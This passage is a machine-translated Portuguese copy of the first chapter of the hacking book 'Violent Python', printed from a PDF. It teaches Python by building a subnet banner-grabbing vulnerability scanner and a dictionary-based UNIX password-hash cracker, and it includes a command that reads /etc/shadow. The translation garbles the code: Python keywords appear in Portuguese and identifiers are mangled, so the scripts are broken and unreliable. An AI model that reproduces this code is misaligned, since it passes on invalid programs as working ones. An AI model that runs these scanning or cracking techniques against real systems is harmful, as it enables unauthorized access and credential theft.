alicerce de qualquer linguagem de programação­variáveis.

variáveis
Em Python, uma variável aponta para dados armazenados em um local de memória. esta memória
localização pode armazenar valores diferentes, tais como inteiros, números reais, booleanos,
cordas, ou dados mais complexos, tais como listas ou dicionários. Na sequência
código, que de fi ne uma variável de porta que armazena um inteiro e bandeira que armazena uma
corda. Para combinar as duas variáveis ​
juntos em uma corda, devemos explicitamente

atire a porta como uma string usando a função str ().

>>> Port = 21
>>> Bandeira = "Servidor FreeFloat FTP"
>>> Print "[+] Verificação de" + bandeira + "na porta" + str (porta)
[+] Verificação de Servidor FreeFloat FTP na porta 21
Python reserva espaço de memória para as variáveis ​ q uando o programador declara

eles. O programador não tem de declarar explicitamente o tipo de variável;
Em vez disso, o interpretador decide o tipo da variável e quanto
espaço na memória para reserva. Considerando o exemplo que se segue, vamos
declarar uma string, um número inteiro, uma lista e um valor booleano, eo intérprete corretamente
automaticamente os tipos de cada variável.

>>> Bandeira = "FreeFloat FTP do servidor" # Uma cadeia
>>> Type (banner)
<Type 'str'>
>>> Port = 21 # Um inteiro
>>> Type (porta)
<Type 'int'>
>>> Portlist = [21,22,80,110] # Uma lista
>>> Type (portlist)
< 'List' type>
>>> PortOpen = True # A boolean
>>> Type (PortOpen)

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20A… 12/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…
<Tipo 'bool'>
Cordas
O módulo string Python fornece uma série muito robusto de métodos para strings.
Leia a documentação do Python em http://docs.python.org/library/string.html
para toda a lista de métodos disponíveis. Vamos examinar alguns métodos úteis.

8 CAPÍTULO 1: Introdução

Considere o uso dos seguintes métodos: superior (), inferior (), substitua (), e
fi nd (). Superior () converte uma seqüência de caracteres para a sua variante maiúsculas. Inferior () converte um
string para sua variante minúsculas. Substituir (antigo, novo) substitui o antigo ocorrência de
a subsequência antigo com o substring nova. Find () relata o deslocamento onde o
primeira ocorrência da substring ocorre.

>>> Bandeira = "Servidor FreeFloat FTP"
>>> Banner.upper print ()
SERVIDOR FreeFloat FTP

>>> Banner.lower print ()
servidor ftp FreeFloat
>>> Banner.replace print ( 'FreeFloat', 'Capacidade')
A capacidade do servidor FTP
>>> Banner.find print ( 'FTP')
10

listas
A estrutura de dados de lista em Python fornece um excelente método para armazenar
arrays de objetos em Python. Um programador pode construir as listas de qualquer tipo de dados.
Além disso, existem métodos internos para realizar ações tais como anexando,
inserindo, removendo, estalo, indexação, contando, classificação e inverter listas.
Considere o seguinte exemplo: um programador pode construir uma lista de apêndices
ing itens usando o método append (), imprimir os itens e, em seguida, classificá­los
antes de imprimir novamente. O programador pode achar o índice de um item específico
(O número inteiro 80 neste exemplo). Além disso, os itens específicos podem ser removidos
(O número inteiro 443 neste exemplo).

>>> Portlist = []
>>> PortList.append (21)
>>> PortList.append (80)
>>> PortList.append (443)
>>> PortList.append (25)
>>> Print portlist
[21, 80, 443, 25]
>>> PortList.sort ()
>>> Print portlist
[21, 25, 80, 443]
>>> Pos = portList.index (80)
>>> Print "[+] Há" + str (pos) + "portas para digitalizar antes de 80."
[+] Há 2 portas para digitalizar antes de 80.

O Python Idioma 9

>>> PortList.remove (443)
>>> Print portlist
[21, 25, 80]
>>> Cnt = len (portlist)
>>> Print "[+] Scanning" + str (cnt) + "Total de Portas."
[+] Digitalização 3 Total de Portas.

dicionários
A estrutura de dados dicionário Python fornece uma tabela hash que pode armazenar
qualquer número de objetos Python. O dicionário é constituído por pares de itens que
conter uma chave e valor. Vamos continuar com o nosso exemplo de uma vulnerabilidade
scanner para ilustrar um dicionário Python. Ao digitalizar portas fi c TCP especificações, ele
pode revelar­se útil ter um dicionário que contém os nomes de serviço comum

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20A… 13/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…
para cada porta. Criando um dicionário, podemos pesquisar uma chave como ftp e devolver o
valor associado 21 para essa porta.
Ao construir um dicionário, cada chave é separado de seu valor por dois pontos,
e nós separar itens por vírgulas. Observe que os .Keys () método irá retornar
uma lista de todas as chaves no dicionário e que os .items () método irá retornar uma
A lista completa de itens no dicionário. Em seguida, verifica­se que o dicionário contém
uma chave c especi fi (ftp). Fazendo referência a esta tecla retorna o valor 21.

>>> serviços = { 'ftp': 21 'ssh': 22, 'smtp': 25, 'http': 80}
>>> services.keys ()
[ 'Ftp', 'SMTP', 'ssh', 'http']
>>> services.items ()
[( 'Ftp', 21), ( 'smtp', 25), ( 'ssh', 22), ( 'http', 80)]
>>> Services.has_key ( 'ftp')
Verdade

>>> serviços [ 'ftp']
21

>>> Print "[+] Encontrado vuln com FTP na porta" + str (serviços [ 'ftp'])
[+] Vuln Encontrado com FTP na porta 21

Networking
O módulo tomada fornece uma biblioteca para fazer conexões de rede usando
Python. Vamos rapidamente escrever um script que chamam a bandeira. Nosso script irá imprimir o
bandeira após conectar a um endereço IP fi c específico e porta TCP. Depois de importar o
módulo de soquete, que instanciar uma nova variável s da classe soquete classe. Próximo,
usamos o método connect () para estabelecer uma conexão de rede para o endereço IP
e do porto. Uma vez com êxito conectado, podemos ler e escrever a partir da tomada.

10 CAPÍTULO 1: Introdução

O (1024) Método recv vai ler os próximos 1024 bytes no soquete. Nós armazenar o
resultado deste método em uma variável e, em seguida, imprimir os resultados para o servidor.
>>> Tomada de importação
>>> Socket.setdefaulttimeout (2)
>>> S = socket.socket ()
>>> S.connect (( "192.168.95.148", 21))
>>> Ans = s.recv (1024)
>>> Print ans
220 FreeFloat FTP Server (versão 1.00).

Seleção
Como a maioria das linguagens de programação, Python fornece um método para condicional
instruções select. A instrução IF avalia uma expressão lógica, a fim
para tomar uma decisão com base no resultado da avaliação. continuando com
nosso script agarrando­bandeira, gostaríamos de saber se o servidor FTP c especi fi
é vulnerável a ataques. Para fazer isso, vamos comparar os nossos resultados contra alguns
conhecidas versões de servidor FTP vulnerável.
>>> Tomada de importação
>>> Socket.setdefaulttimeout (2)
>>> S = socket.socket ()
>>> S.connect (( "192.168.95.148", 21))
>>> Ans = s.recv (1024)
>>> If ( "FreeFloat FTP Server (versão 1.00)" no ans):
... print "[+] FreeFloat FTP Server é vulnerável."
... Elif ( "3Com 3CDaemon FTP Server Versão 2.0" na faixa):
... print "[+] 3CDaemon FTP Server é vulnerável."
... Elif ( "Capacidade Servidor 2,34" no banner):
... print "[+] Servidor Ability FTP é vulnerável."
... Elif ( "Sami servidor FTP 2.0.2" no banner):
... print "[+] Sami FTP Server é vulnerável."
... outro:
... print "[­] servidor FTP não é vulnerável."
...
[+] FreeFloat FTP Server é vulnerável. "

Manipulação de exceção
Mesmo quando um programador escreve um programa sintaticamente correto, o programa
ainda pode erro em tempo de execução ou execução. Considere o tempo de execução de erros clássico
divisão por zero. Porque zero não pode dividir um número, o interpretador Python

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20A… 14/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…

O Python Idioma 11

exibe uma mensagem informando que o programador da mensagem de erro. este erro
cesse a execução do programa.

>>> Print 1337/0
Traceback (chamada mais recente passada):
File "<stdin>", line 1, in <module>
ZeroDivisionError: divisão inteira ou modulo por zero

O que acontece se, queríamos apenas para lidar com o erro dentro do contexto da
execução do programa ou script? A linguagem Python fornece exceção de manipulação de
capacidade de fazer exatamente isso. Vamos atualizar o exemplo anterior. Usamos tente / excepto
declarações para fornecer manipulação de exceção. Agora, o programa tenta executar
a divisão por zero. Quando o erro ocorre, o nosso tratamento de exceção pega o
erro e imprime uma mensagem na tela.

>>> Try:
... print "[+] 1337/0 =" + str (1337/0)
... exceto:
... print "[­] Erro".
...
[­] Erro
>>>

Infelizmente, isso nos dá muito pouca informação sobre a exceção exata
que provocou o erro. Pode ser útil para fornecer ao usuário com um erro
mensagem sobre o erro fi c específico que ocorreu. Para fazer isso, vamos armazenar o
exceção em um e variável para imprimir a exceção, em seguida, converter explicitamente a variável
e como uma string.

>>> Try:
... print "[+] 1337/0 =" + str (1337/0)
... Exceto exceção, e:
... print "[­] Erro =" + str (e)
...
[­] Erro = divisão inteira ou modulo por zero
>>>

Vamos agora usar o tratamento de exceção para atualizar nosso script agarrando­bandeira. Nós
vai embrulhar o código de conexão de rede com a manipulação de exceção. Em seguida, tentamos
para se conectar a uma máquina que não está executando um servidor FTP na porta TCP 21. Se
esperamos para o tempo limite de conexão, vemos uma mensagem indicando a rede
operação de conexão expirou. Nosso programa pode agora continuar.

12 CAPÍTULO 1: Introdução

>>> Tomada de importação
>>> Socket.setdefaulttimeout (2)
>>> S = socket.socket ()
>>> Try:
... s.connect (( "192.168.95.149", 21))
... Exceto exceção, e:
... print "[­] Erro =" + str (e)
...
[­] Erro = operação expirou

Vamos fornecer­lhe uma advertência sobre a manipulação de exceção neste livro. Em ordem
para ilustrar de forma limpa a grande variedade de conceitos nas páginas a seguir, nós
ter colocado mínima manipulação de exceção para os scripts neste livro. Fique à vontade
para atualizar os scripts incluídos no site do companheiro para adicionar mais robusto
manipulação de exceção.

Funções
Em Python, funções fornecem blocos organizados de código reutilizável. Tipicamente, esta
permite que um programador para escrever um bloco de código para executar uma única ação relacionada.
Enquanto Python fornece muitas funções embutidas, um programador pode criar user­
de fi nida funções. O def palavra­chave () começa uma função. O programador pode

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20A… 15/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…
colocar todas as variáveis ​dentro do parêntese. Estas variáveis ​
​ são depois passados ​
​ por

de referência, o que significa que quaisquer alterações a estas variáveis ​
dentro da função

vai afetar o seu valor a partir da função de chamada. Continuando com o anterior
FTP­vulnerabilidade varredura exemplo, vamos criar uma função para executar apenas o
ação de se conectar ao servidor FTP e retornando a bandeira.
tomada de importação
def retBanner (ip, porta):
experimentar:
socket.setdefaulttimeout (2)
s = socket.socket ()
s.connect ((ip, porta))
bandeira = s.recv (1024)
bandeira de retorno
exceto:
Retorna
def main ():
IP1 = '192.168.95.148'
IP2 = '192.168.95.149'
port = 21

O Python Idioma 13

banner1 = retBanner (IP1, porta)
se banner1:
print '[+]' IP1 + + ':' + banner1
banner2 = retBanner (IP2, porta)
se banner2:
print '[+]' IP2 + + ':' + banner2
se __name__ == '__main__':
a Principal()

Depois de voltar a bandeira, o nosso script precisa verificar esta bandeira contra alguns
programas vulneráveis ​ conhecidos. Isso também reflete uma única função, relacionada. o

checkVulns function () leva a bandeira variável como um parâmetro e, em seguida, usa
para fazer uma determinação da vulnerabilidade do servidor.
tomada de importação
def retBanner (ip, porta):
experimentar:
socket.setdefaulttimeout (2)
s = socket.socket ()
s.connect ((ip, porta))
bandeira = s.recv (1024)
bandeira de retorno
exceto:
Retorna
checkVulns def (bandeira):
se 'FreeFloat FTP Server (versão 1.00)' no banner:
print '[+] FreeFloat FTP Server é vulnerável.'
elif '3Com 3CDaemon FTP Server Versão 2.0' no banner:
print '[+] 3CDaemon FTP Server é vulnerável.'
elif 'Capacidade Servidor 2,34' no banner:
print '[+] Servidor Ability FTP é vulnerável.'
elif 'Sami servidor FTP 2.0.2' no banner:
print '[+] Sami FTP Server é vulnerável.'
outro:
print '[­] FTP Server não está vulnerável.'
Retorna
def main ():
IP1 = '192.168.95.148'
IP2 = '192.168.95.149'
IP3 = '192.168.95.150'

14 CAPÍTULO 1: Introdução

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20A… 16/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…

port = 21
banner1 = retBanner (IP1, porta)
se banner1:
print '[+]' + IP1 + ':' + banner1.strip ( '\ n')
checkVulns (banner1)
banner2 = retBanner (IP2, porta)
se banner2:
print '[+]' + IP2 + ':' + banner2.strip ( '\ n')
checkVulns (banner2)
banner3 = retBanner (IP3, porta)
se banner3:
print '[+]' + ip3 + ':' + banner3.strip ( '\ n')
checkVulns (banner3)
se __name__ == '__main__':
a Principal()

Iteração
Durante a última seção, você pode tê­lo encontrado repetitiva para escrever quase a
mesmas exatas código três vezes para verificar os três endereços IP diferentes. Ao invés
de escrever a mesma coisa três vezes, podemos achar mais fácil usar um loop for
para percorrer vários elementos. Considere, por exemplo: se quiséssemos
percorrer todo o / 24 sub­rede de endereços IP para 192.168.95.1 através
192.168.95.254, usando uma for­loop com a gama de 1 a 255 nos permite
imprimir toda a sub­rede.
>>> For x in range (1255):
... imprimir "192.168.95." + Str (x)
...
192.168.95.1
192.168.95.2
192.168.95.3
192.168.95.4
192.168.95.5
192.168.95.6
... <Cortou> ...
192.168.95.253
192.168.95.254

Da mesma forma, a gente pode querer percorrer uma lista conhecida de portos para verificar se há
vulnerabilidades. Em vez de iteração através de uma série de números, podemos fazer uma iteração
através de uma lista inteira de elementos.

O Python Idioma 15

>>> Portlist = [21,22,25,80,110]
>>> Para a porta na portlist:
... porta de impressão
...
21
22
25
80
110

Nidificação nossos dois para­loops, agora podemos imprimir cada endereço IP e as portas
para cada endereço.

>>> For x in range (1255):
... para a porta na portlist:
... print "[+] Verificar 192.168.95." \
+ Str (x) + ":" + str (porta)
...
[+] Verificar 192.168.95.1:21
[+] Verificar 192.168.95.1:22
[+] Verificar 192.168.95.1:25
[+] Verificar 192.168.95.1:80
[+] Verificar 192.168.95.1:110
[+] Verificar 192.168.95.2:21
[+] Verificar 192.168.95.2:22
[+] Verificar 192.168.95.2:25
[+] Verificar 192.168.95.2:80

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20A… 17/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…
[+] Verificar 192.168.95.2:110
<... Cortou ...>

Com a capacidade de percorrer endereços IP e portas, vamos atualizar nossa
vulnerabilidade de verificação de script. Agora nosso script irá testar todos os 254 endereços IP
o 192.168.95.0/24 sub­rede com os portos que oferecem telnet, SSH, SMTP, HTTP,
IMAP e https serviços.
tomada de importação
def retBanner (ip, porta):
experimentar:
socket.setdefaulttimeout (2)
s = socket.socket ()

16 CAPÍTULO 1: Introdução

s.connect ((ip, porta))
bandeira = s.recv (1024)
bandeira de retorno
exceto:
Retorna
checkVulns def (bandeira):
se 'FreeFloat FTP Server (versão 1.00)' no banner:
print '[+] FreeFloat FTP Server é vulnerável.'
elif '3Com 3CDaemon FTP Server Versão 2.0' no banner:
print '[+] 3CDaemon FTP Server é vulnerável.'
elif 'Capacidade Servidor 2,34' no banner:
print '[+] Servidor Ability FTP é vulnerável.'
elif 'Sami servidor FTP 2.0.2' no banner:
print '[+] Sami FTP Server é vulnerável.'
outro:
print '[­] FTP Server não está vulnerável.'
Retorna
def main ():
portlist = [21,22,25,80,110,443]
para x no intervalo (1, 255):
IP = '192.168.95.' + Str (x)
para a porta na portlist:
bandeira = retBanner (ip, porta)
Se banner:
print '[+]' + ip + ':' + bandeira
checkVulns (banner)
se __name__ == '__main__':
a Principal()

Eu arquivo / O
Enquanto o nosso script tem uma instrução IF que verifica algumas faixas vulneráveis, a Comissão
seria bom para adicionar, ocasionalmente, uma nova lista de banners vulneráveis. Por esta
exemplo, vamos supor que temos um fi texto le chamado vuln_banners.txt. Cada linha
este fi le lista uma versão do serviço fi c específica com uma vulnerabilidade anterior. Ao invés de
a construção de uma enorme IF, vamos ler nesta fi texto le e usá­lo para fazer
decisões se a nossa bandeira é vulnerável.

programador vuln_banners.txt $ cat
3Com 3CDaemon FTP Server Versão 2.0
Capacidade Servidor 2,34

O Python Idioma 17

CCProxy Telnet Ready Service
ESMTP ABAS Mail Server for Windows NT
FreeFloat FTP Server (versão 1.00)
IMAP4rev1 MDaemon 9.6.4 pronto
Serviço MailEnable, Versão: 0­1,54
NetDecision­HTTP­Server 1.0

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20A… 18/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…
PSO Proxy 0.9
SAMBAR
Sami FTP Servidor 2.0.2
Spipe 1,0
TelSrv 1,5
WDaemon 6.8.5
WinGate 6.1.1
Xitami
YahooPOPs! Serviço de transferência de correio simples Pronto

Vamos colocar o nosso código atualizado na função checkVulns. Aqui, vamos
abra o texto fi le no modo somente leitura ( 'r'). Nós percorrer cada linha no
fi le utilizando as .readlines () método. Para cada linha, nós compará­la com a nossa
bandeira. Observe que devemos retirar o retorno de carro a partir de cada linha utilizando
o método .strip ( '\ r'). Se detectarmos uma partida, nós imprimir o serviço vulnerável
bandeira.

checkVulns def (bandeira):
f = open ( "vuln_banners.txt", 'r')
para a linha em f.readlines ():
se line.strip ( '\ n') no banner:
print "[+] Server é vulnerável:" + banner.strip ( '\ n')

Módulo Sys
O módulo sys built­in fornece acesso a objetos utilizados ou mantidos pelo
interpretador Python. Isso inclui AGS FL, versão, tamanhos máximo de números inteiros, disponível
módulos de capacidade, ganchos trajeto, localização do erro padrão / in / out, e de comando
argumentos de linha chamados pelo intérprete. Você pode achar mais informações sobre
as Python documentos módulo on­line disponíveis a partir http://docs.python.org/
biblioteca / sys.Interagindo com o sys módulo pode revelar­se muito útil na criação de
scripts Python. Podemos, por exemplo, quero analisar argumentos de linha de comando
em tempo de execução. Considere o nosso scanner de vulnerabilidade: o que se queria para passar o
nome de um texto fi le como um argumento de linha de comando? A lista contém todas sys.argv
os argumentos de linha de comando. O sys.argv índice primeiro [0] contém o nome do

18 CAPÍTULO 1: Introdução

o script interpretador Python. Os itens restantes na lista contém todas as se­
mugindo argumentos de linha de comando. Assim, se estamos apenas passando um adicional
argumento, sys.argv deve conter dois itens.
sys importação
if len (sys.argv) == 2:
filename = sys.argv [1]
print "[+] Reading Vulnerabilidades From:" + nome de arquivo

Correndo o nosso trecho de código, vemos que o código analisa com sucesso o
argumento de linha de comando e imprime­lo para a tela. Aproveite o tempo para exem­
ine todo o módulo sys para a riqueza de recursos que ele oferece ao
programador.
programador $ python vuln­scanner.py vuln­banners.txt
[+] Vulnerabilidades Leitura De: vuln­banners.txt

Módulo OS
A built­in módulo OS oferece uma riqueza de rotinas mínimos para Mac, NT, ou Posix
sistemas operacionais. Este módulo permite que o programa de interagir independentemente
com o ambiente do sistema operacional, fi le­sistema, banco de dados de usuário e permissões. con­
Sítios, por exemplo, a última secção, em que o utilizador passou o nome de um texto
fi le como um argumento de linha de comando. Pode revelar­se útil para verificar para ver se
que fi le existe e o usuário atual tem permissões de leitura para esse fi le. Se quer
condição falhar, seria útil para exibir uma mensagem de erro apropriada para
o usuário.

sys importação
import os
if len (sys.argv) == 2:
filename = sys.argv [1]
se não os.path.isfile (filename):
print '[­]' + nome + 'não existe.'
exit (0)
se não os.access (filename, os.R_OK):

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20A… 19/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…
print '[­]' + nome + "acesso negado".
exit (0)
print '[+] Reading Vulnerabilidades De:' + nome de arquivo

Para verificar o nosso código, inicialmente tentar ler um fi le que não existe, o que
faz com que o nosso script para imprimir um erro. Em seguida, criamos a especi fi c fi lename e

O Python Idioma 19

lê­lo com sucesso. Finalmente, restringir a permissão e ver que o nosso cor­ roteiro
tamente imprime a mensagem de acesso negado.

programador $ python test.py vuln­banners.txt
[­] Vuln­banners.txt não existe.
programador $ toque vuln­banners.txt
programador $ python test.py vuln­banners.txt
[+] Vulnerabilidades Leitura De: vuln­banners.txt
programador $ chmod 000 vuln­banners.txt
programador $ python test.py vuln­banners.txt
[­] Acesso vuln­banners.txt negado.
Podemos agora remontar todas as várias peças e partes de nosso Python
roteiro vulnerabilidade de varredura. Não se preocupe se parece pseudo­completo,
falta a capacidade de usar threads de execução ou melhor opção de linha de comando
análise. Vamos continuar a construir sobre esse script no capítulo seguinte.

tomada de importação
import os
sys importação
def retBanner (ip, porta):
experimentar:
socket.setdefaulttimeout (2)
s = socket.socket ()
s.connect ((ip, porta))
bandeira = s.recv (1024)
bandeira de retorno
exceto:
Retorna
checkVulns def (banner, filename):
f = open (filename, 'r')
para a linha em f.readlines ():
se line.strip ( '\ n') no banner:
print '[+] Server é vulnerável:' + \
banner.strip ( '\ n')
def main ():
if len (sys.argv) == 2:
filename = sys.argv [1]
se não os.path.isfile (filename):
print '[­]' + nome + \

20 CAPÍTULO 1: Introdução

' não existe.'
exit (0)
se não os.access (filename, os.R_OK):
print '[­]' + nome + \
' acesso negado.'
exit (0)
outro:
print '[­] Uso:' + str (sys.argv [0]) + \
'<Filename vuln>'
exit (0)
portlist = [21,22,25,80,110,443]
para x no intervalo (147, 150):

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20A… 20/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…
IP = '192.168.95.' + Str (x)
para a porta na portlist:
bandeira = retBanner (ip, porta)
Se banner:
print '[+]' + ip + ':' + bandeira
checkVulns (banner, nome de arquivo)
se __name__ == '__main__':
a Principal()

SEUS PROGRAMAS DE PRIMEIROS PYTHON
Com uma compreensão de como construir scripts Python, vamos começar a escrever a nossa
dois primeiros programas. À medida que avançamos, vamos descrever um pouco anedótica
histórias que enfatizam a necessidade de nossos scripts.

Preparando o palco para seu primeiro programa em Python:
Ovo do cuco
Um administrador de sistema em Lawrence Berkley National Labs, Clifford Stoll,
documentada sua caça pessoal para um hacker (e KGB informante) que quebrou
em vários laboratórios de pesquisa nacional dos Estados Unidos, bases militares, de defesa
prestadores de serviços e instituições acadêmicas em The Cuckoo Egg: Acompanhando um Spy
Através do labirinto de Computer Espionage (Stoll, 1989). Ele também publicou uma Maio
1988 artigo na Comunicação de a ACM descrevendo a técnica aprofundada
detalhes do ataque e caçar (Stoll, 1988).
Fascinado pela metodologia e as ações do atacante, Stoll ligado uma impressora
para um servidor comprometido e conectado cada keystroke o atacante fez. du­
ing uma gravação, Stoll notado algo interessante (pelo menos em 1988).

Os seus primeiros programas em Python
21

Quase imediatamente depois de comprometer uma vítima, o atacante baixou o
senha criptografada fi le. O uso era esta para o atacante? Afinal, a vítima
sistemas criptografados as senhas de usuário usando o algoritmo cripta UNIX. Contudo,
dentro de uma semana de roubar a senha criptografada fi les, Stoll viu log o atacante
com as contas roubadas. Confrontando alguns dos usuários vítima, ele aprendeu
eles tinham usado palavras do dicionário como senhas (Stoll, 1989).
Ao saber disso, Stoll percebeu que o hacker tinha usado um ataque de dicionário
para descriptografar as senhas criptografadas. O hacker enumerado por todos
as palavras em um dicionário e criptografada­los usando o Unix Crypt () função
ção. Depois criptografando cada senha, o hacker comparou­o com o roubado
senha criptografada. O jogo traduzido para uma rachadura senha bem­sucedido.
Considere o seguinte senha criptografada fi le. A vítima usou um texto simples
password de ovo e sal igual os dois primeiros bytes ou HX . A função UNIX Crypt
ção calcula a senha criptografada com crypt ( ' ovo ' , ' HX ' ) = HX9LLTdc / Jide.

atacante $ cat / etc / passwd
vítima: HX9LLTdc / Jide: 503: 100: Iama Vítima: / home / vítima: / bin / sh
root: DFNFxgW7C05fo: 504: 100: Markus Hess: / root: / bin / bash
Vamos usar esta senha criptografada fi le como uma oportunidade para escrever a nossa primeira Python
roteiro, um cracker senha UNIX.

Seu primeiro programa, um biscoito da senha do UNIX
A verdadeira força da linguagem de programação Python reside na matriz ampla
de bibliotecas padrão e de terceiros. Para escrever o nosso cracker de senha UNIX, nós
precisará usar o algoritmo de crypt () que hashes de senhas UNIX. Ateando fogo acima
o interpretador Python, vemos que a biblioteca cripta já existe no Python
biblioteca padrão. Para calcular um hash de senha criptografada UNIX, nós simplesmente
chamar o crypt.crypt function () e passá­lo a senha e sal como parâmetros.
Esta função retorna o hash de senha como uma string.
Programador $ python
>>> Ajuda ( 'crypt')
Ajuda sobre módulo crypt:
NOME

cripta
ARQUIVO
/System/Library/Frameworks/Python.framework/Versions/2.7/lib/
python2.7 / lib­dynload / crypt.so
DOCS MÓDULO

http://docs.python.org/library/crypt

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20A… 21/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…

22 CAPÍTULO 1: Introdução

FUNÇÕES

cripta(...)
crypt (palavra, sal) ­> string
palavra geralmente será a senha do usuário. sal é uma seqüência de 2 caracteres
que vai ser usado para seleccionar uma de 4096 variações de DES. o
caracteres em sal deve ser ".", "/", ou um alfanumérico
personagem. Retorna o hash de senha como uma string, que será
composto por caracteres do mesmo alfabeto como o sal.

Vamos rapidamente tentar hashing uma senha usando a função crypt (). Depois de importar
a biblioteca, passamos o "ovo" senha e o sal "HX" para a função. o
devolve o valor hash de senha "HX9LLTdc / Jide" como uma string.
Sucesso! Agora podemos escrever um programa para fazer uma iteração através de um dicionário inteiro,
tentando cada palavra com o sal sob encomenda para o hash de senha.

programador $ python
>>> Cripta de importação
>>> Crypt.crypt ( "ovo", "HX")
'HX9LLTdc / Jide'

Para escrever o nosso programa, vamos criar duas funções de principal e testpass. isso prova
uma boa prática de programação para separar o seu programa em funções distintas,
cada um com uma finalidade especi fi c. No final, isso nos permite reutilizar código e marcas
o programa mais fácil de ler. Nossa função principal é aberta a senha criptografada
fi le "passwords.txt" e lê o conteúdo de cada linha na senha fi le. Para
cada linha, divide­se o nome de usuário ea senha de hash. Para cada indicação
individual hash de senha, a principal função chama a função testPass () que
Testes de senhas contra um dicionário fi le.
Esta função, testPass (), leva a senha criptografada como um parâmetro e
retorna ou após encontrando a senha ou esgotar as palavras do
dicionário. Observe que a função fi tiras primeiro o sal do primeiro fi
dois personagens do hash de senha criptografada. Em seguida, ele abre os diction­
ary e itera através de cada palavra no dicionário, criando um criptografado
hash de senha do dicionário de palavras e o sal. Se o resultado corresponde
nosso hash de senha criptografada, a função imprime uma mensagem indicando o
encontrado senha e retorna. Caso contrário, ele continua a testar cada palavra
o dicionário.

cripta de importação
def testPass (cryptPass):
sal = cryptPass [0: 2]

Os seus primeiros programas em Python
23

dictFile = open ( 'dictionary.txt', 'r')
por palavra em dictFile.readlines ():
word = word.strip ( '\ n')
cryptWord = crypt.crypt (word, sal)
Se (cryptWord == cryptPass):
print "[+] Encontrado Password:" + palavra + "\ n"
Retorna
print "[­] senha não encontrado \ n".
Retorna
def main ():
PASSFILE = open ( 'passwords.txt')
para a linha em passFile.readlines ():
se ":" na linha:
user = line.split ( ':') [0]
cryptPass = line.split ( ':') [1] .strip ( '')
print "[*] quebra de senha Para:" + usuário
testPass (cryptPass)
se __name__ == "__main__":
a Principal()

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/Violent%20Python%20­%20A%20Cookbook%20for%20Hackers,%20Forensic%20A… 22/173
17/02/2016 C: \ Users \ Johan \ Desktop \ Johan \ em inglês \ Python Violent Hacker \ PDF ­ um livro de receitas para os hackers, analistas forenses, Penetraç…

Correndo o nosso programa de primeira, vemos que isso com sucesso rachaduras da senha
para vítima, mas não quebrar a senha para o root. Assim, sabemos que o
administrador do sistema (root) deve estar usando uma palavra não em nosso dicionário.
Não precisa se preocupar, nós vamos cobrir várias outras maneiras neste livro para ganhar raiz
Acesso.
programador crack.py $ python
[*] Quebra de senha por: vítima
[+] Encontrado Senha: Ovo
[*] Quebra de senha Para: root
[­] Senha não encontrado.

Onmodern * Nixbasedoperatingsystems, o / etc / shadow fi lestoresthehashed
senha e fornece a capacidade de utilizar os algoritmos de hashing mais seguras. o
seguinte exemplo usa o algoritmo de hash SHA­512. funcionalidade SHA­512
é fornecido pela biblioteca hashlib Python. você pode atualizar o script de crack
SHA­512 hashes?
cat / etc / shadow | raiz grep
root: $ 6 $ ms32yIGN $ NyXj0YofkK14MpRwFHvXQW0yvUid.slJtgxHE2EuQqgD74S /
GaGGs5VCnqeC.bS0MzTf / EFS3uspQMNeepIAc:. 15503: 0: 99999: 7 :::

24 CAPÍTULO 1: Introdução

Ajustando o estágio para o seu Segundo Programa: Usando
O mal pelo bem
Ao anunciar seu programa Fast Track do Cyber ​ n a ShmooCon 2012, Peiter "Mudge"

Zatko, o hacker L0pht lendário virou DARPA empregado, explicou que
realmente não há ferramentas de vez ofensivas ou defensivas não são simplesmente ferramentas
(Zatko, 2012). Ao longo deste livro, você pode, inicialmente, achar vários dos
